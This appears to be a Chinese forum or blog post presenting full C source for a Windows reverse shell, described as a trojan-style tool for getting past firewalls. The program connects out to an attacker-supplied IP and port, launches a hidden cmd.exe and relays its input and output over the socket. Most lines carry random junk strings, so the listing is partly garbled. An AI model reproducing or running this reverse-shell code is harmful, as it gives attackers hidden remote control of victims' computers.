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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 __b4dv  
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/* ============================== XncX2E4E  
Rebound port in Windows NT <r,5F:  
By wind,2006/7 *OA(v^@tx7  
===============================*/ _>vH%FY  
#include @RPQ 1da  
#include  D_dv8  
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#pragma comment(lib,"wsock32.lib") :,l16{^  
VEy]vr}  
void OutputShell(); sgO au\E  
SOCKET sClient; E#_/#J]UQn  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; XQ=%a5w  
"_&ZRcd*  
void main(int argc,char **argv) Y$>NsgQn6  
{ <-.@,HQ+  
WSADATA stWsaData; E0I/]0  
int nRet; _]@u)$  
SOCKADDR_IN stSaiClient,stSaiServer; $,K@xq5  
DY#195H  
if(argc != 3) w4P;Z-Cd  
{ 'ge$}L}4  
printf("Useage:\n\rRebound DestIP DestPort\n"); ogIu\kiZ  
return; EmaS/]X[  
} -r,v3n  
Yeg<MrS4D  
WSAStartup(MAKEWORD(2,2),&stWsaData); J.R]) &CB  
MB;rxUbhe3  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); nl}LT/N  
|yz[mP*;o  
stSaiClient.sin_family = AF_INET; FaCW +9B  
stSaiClient.sin_port = htons(0); ;"cQ)=s9Y  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); @Y`Z3LiR$  
'yVe&5?  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) v' t'{g%  
{ ;.AMP$o`(Y  
printf("Bind Socket Failed!\n"); 8Ygf@*9L4  
return; 6:wk=#w  
} j_5&w Znq  
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stSaiServer.sin_family = AF_INET; K&&T:'=/  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 3ibQbk  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 7>z {2D  
J;~YD$  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Aa_@&e  
{ gHc1_G]  
printf("Connect Error!"); ;:Z5Ft m  
return; 2T}>9X  
} ~D@YLW1z(  
OutputShell(); 0rL.~2)V  
} Lxv;[2XsW)  
JkN*hm?  
void OutputShell() CKH mJ]=  
{ 'Z#_"s#L  
char szBuff[1024]; D7nK"]HG;l  
SECURITY_ATTRIBUTES stSecurityAttributes; T%oJmp?0  
OSVERSIONINFO stOsversionInfo; -ysNo4#e&  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; c BqbbZyUk  
STARTUPINFO stStartupInfo; d BB?A~  
char *szShell; U\Y0v.11  
PROCESS_INFORMATION stProcessInformation; L+G0/G}O\  
unsigned long lBytesRead;  OLIMgc(W  
ZxSnqbyA*  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); QDW,e]A  
SW%}S*h  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 5eL b/,R  
stSecurityAttributes.lpSecurityDescriptor = 0; Y2tVq})!  
stSecurityAttributes.bInheritHandle = TRUE; #/ePpSyD  
c*B< - l<5  
mS[``$Z\!  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); `uMc.:5\  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Q9 AvNj>X  
ilQ}{p6I  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); hBRi5&%  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; L754odc  
stStartupInfo.wShowWindow = SW_HIDE; ;6 W[%{  
stStartupInfo.hStdInput = hReadPipe; cY5;~lO  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; OvQzMXU^I  
xTu J~$(  
GetVersionEx(&stOsversionInfo); m-$}'mEO  
EpO2%|@  
switch(stOsversionInfo.dwPlatformId) @;Jv/N6@  
{ WZ>nA[/  
case 1: FRR05%K  
szShell = "command.com"; 2]?=\_T  
break; LZ_0=Xx%  
default: T16gq-h'  
szShell = "cmd.exe"; ;_SSR8uHv  
break; \"$P :Uv  
} "p3<-06  
%y9sC1T  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); L7{}`O/g7  
6)0.q|Q  
send(sClient,szMsg,77,0); ;v\s7y  
while(1) q 8sfG;)  
{ ;<m*ASM.3  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); .]h/M,xg  
if(lBytesRead) lCUYE"o  
{  !AJkd.  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); f6K.F  
send(sClient,szBuff,lBytesRead,0); vGlVr.)  
} (/<Nh7C1c  
else awo'#Y2>  
{ ^%zhj3#  
lBytesRead=recv(sClient,szBuff,1024,0); sgi5dQ  
if(lBytesRead<=0) break; nK03xYA  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); smfI+Z S"  
} al}J^MJ  
} C{m%]jKH  
?Xvy0/s5  
return; vE^tdzAG  
}
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